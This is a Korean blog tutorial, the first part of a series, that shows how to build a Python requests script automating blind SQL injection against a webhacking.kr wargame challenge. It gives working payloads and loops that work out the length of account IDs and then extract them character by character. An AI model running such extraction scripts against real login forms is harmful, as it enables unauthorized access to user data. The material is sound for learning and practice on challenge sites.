Python requests를 이용한 blind injecthion 스크립트 제작 (1편)

2019년 10월 23일

Python requests를 이용한 blind injecthion 스크립트 제작

  • 일단 시작하기전에 앞서 Blind SQL Injecthion에 대해 모르신다면 이전 포스트 를 참조하세요.

Python의 requests라이브러리를 이용해서 패킷을 전송하고 질의한 응답값을 보고 참과 거짓을 구분하여 자동으로 분석해주는 스크립트를 제작 하는 것이 목표!

requests 라이브러리

  • requests.get

    get 요청할때 사용, 전달 가능 인자값 (url, params, cookies, headers 등)

    ex) response = requests.get(url, params)

  • requests.post

    post 요청할때 사용, 전달 가능 인자값 (url, data, cookies, headers 등)

    ex) response = requests.post(url, params)

  • headers 구성

    headers = {'Content-Type': 'application/json; charset=utf-8'}

  • cookies 구성

    cookies = {'sid': 'asdfghjk12qwe34rt'}

  • params 구성

    params = {'id': 'testid', 'pw': 'testpasswd'}

  • response.status_code

    응답 코드

  • response.text

    응답 결과를 text로

  • response.elapsed.total_seconds()

    응답까지 걸린 시간을 체크 (Time-Based Blind injecthion에 사용)

일단 간단하게 sqi를 위한 라이브러리 사용법은 위에 있는 정도만 알고 있어도 충분 합니다.

더 자세한 정보를 얻고 싶다면 w3schools-python-requests 를 참조하세요.

일단 webhacking.kr 의 21번 문제를 예시로 스크립트를 작성 해보겠습니다.

iTKLEsmtKxwBhV88LRveUkimg

문제를 보면 아이디와 비밀번호를 알아낸 다음 플래그 값을 찾아야 하는 문제 입니다.

일단 blind sql injection 점검 문자열을 작성하여 어떤 응답 값이 오는지 확인해봅니다.

일단 아이디와 패스워드 둘다 부정확 할때에는 login fail 이라는 응답값이 날라오고 아이디는 정확하지만 패스워드가 부정확하다고 판단 할때에는 wrong password 라는 값이 나타나는 것을 볼수가 있습니다.

https://webhacking.kr/challenge/bonus-1/index.php?id=&pw=

일단 url를 보면 이번 문제는 GET 으로 보내고 응답을 받는 것을 알수가 있습니다.

그리고 파라미터값은 id,pw를 통해 넘기고 있다는 것을 알수가 있습니다.

이제 패스워드를 알아내기전 아이디를 먼저 알아내보는 스크립트를 작성합니다.

import requests

url = 'https://webhacking.kr/challenge/bonus-1/index.php' #url 주소를 입력
cookies = {'PHPSESSID': '사용자의 쿠기 값 입력'} #세션 쿠키를 입력

def find_id_len():
    id_len = 0
    while 1:
        id_len=id_len+1
        value = "' or char_length(id) = {}   -- '".format(id_len) #반복하면서 id의 글자수를 비교하는 Payload 코드 작성
        params = {'id': value, 'pw': 'test'} # id에 Payload 코드 삽입 pw는 아무 문자나 보낸다.
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "wrong password" in response.text: #응답 값에 wrong password가 있다면 참인 결과 이니 빠져나옴
            break
    return id_len #id 길이 반환

if __name__ == '__main__':
    print("id의 길이는 : "+str(find_id_len()))

char_length() 함수를 이용해서 반복문을 통해 만약 id의 길이가 같으면 wrong password 라는 값을 나타내니 break를 통해 빠져나오고 그때의 id 길이를 반환합니다.

이제 이렇게 id의 길이를 구하였는데 이러한 조건을 통해 id를 알아내도록 하겠습니다.

import requests

url = 'https://webhacking.kr/challenge/bonus-1/index.php' #url 주소를 입력
cookies = {'PHPSESSID': '사용자의 쿠기 값 입력'} #세션 쿠키를 입력

def find_id_len():
    id_len = 0
    while 1:
        id_len=id_len+1
        value = "' or char_length(id) = {}   -- '".format(id_len) #반복하면서 id의 글자수를 비교하는 Payload 코드 작성
        params = {'id': value, 'pw': 'test'} # id에 Payload 코드 삽입 pw는 아무 문자나 보낸다.
        response = requests.get(url,params=params, cookies=cookies) #GET을 통해 전달
        print(response.status_code) # 응답 코드 확인 200번아니면 오류 상태
        print(value) # 전달되는 Payload 코드 확인
        if "wrong password" in response.text: #응답 값에 wrong password가 있다면 참인 결과 이니 빠져나옴
            break
    return id_len #id 길이 반환

def find_id_str(id_len):
    id_str = ""
    for len in range(1,id_len+1):
        for ascii in range(97,123): #ascii a~z까지의 값 반복
            value = "' or ascii(substring(id,{},1)) = {} -- '".format(len,ascii)  # 반복하면서 id을 substring 한다음 ascii로 변환한 값을 통해 비교해서 정답을 찾아냄
            params = {'id': value, 'pw': 'test'}  # id에 Payload 코드 삽입 pw는 아무 문자나 보낸다.
            response = requests.get(url, params=params, cookies=cookies)  # GET을 통해 전달
            print(response.status_code)  # 응답 코드 확인 200번아니면 오류 상태
            print(value)  # 전달되는 Payload 코드 확인
            if "wrong password" in response.text:  # 응답 값에 wrong password가 있다면 참인 결과 이니 빠져나옴
                id_str+=chr(ascii)+":" #참이라면 ascii코드를 char형으로 변경해서 저장
        id_str+="\n"
    return id_str #한 문자에 대한 검색이 끝날시 엔터 처리

if __name__ == '__main__':
    print("아이디 조합 : \n"+find_id_str(find_id_len()))

결과값을 보면 아래와 같은 결과 값이 나오는데

아이디 조합 :
a:g:
d:u:
eⓂ
i:s:
n:t:

이러한 결과 값을 보고 id는 admin, guest 두가지 아이디가 존재 한다는 것을 확인 할 수가 있습니다.

이제 이러한 결과 값을 가지고 비번을 찾아보는 스크립트 제작은 다음 글에 이어서 알려드리겠습니다.

Buy me a coffeeBuy me a coffee
Written by

@JaeSeoKim

보안과 개발을 좋아하는 학생 입니다~!
©JaeSeoKim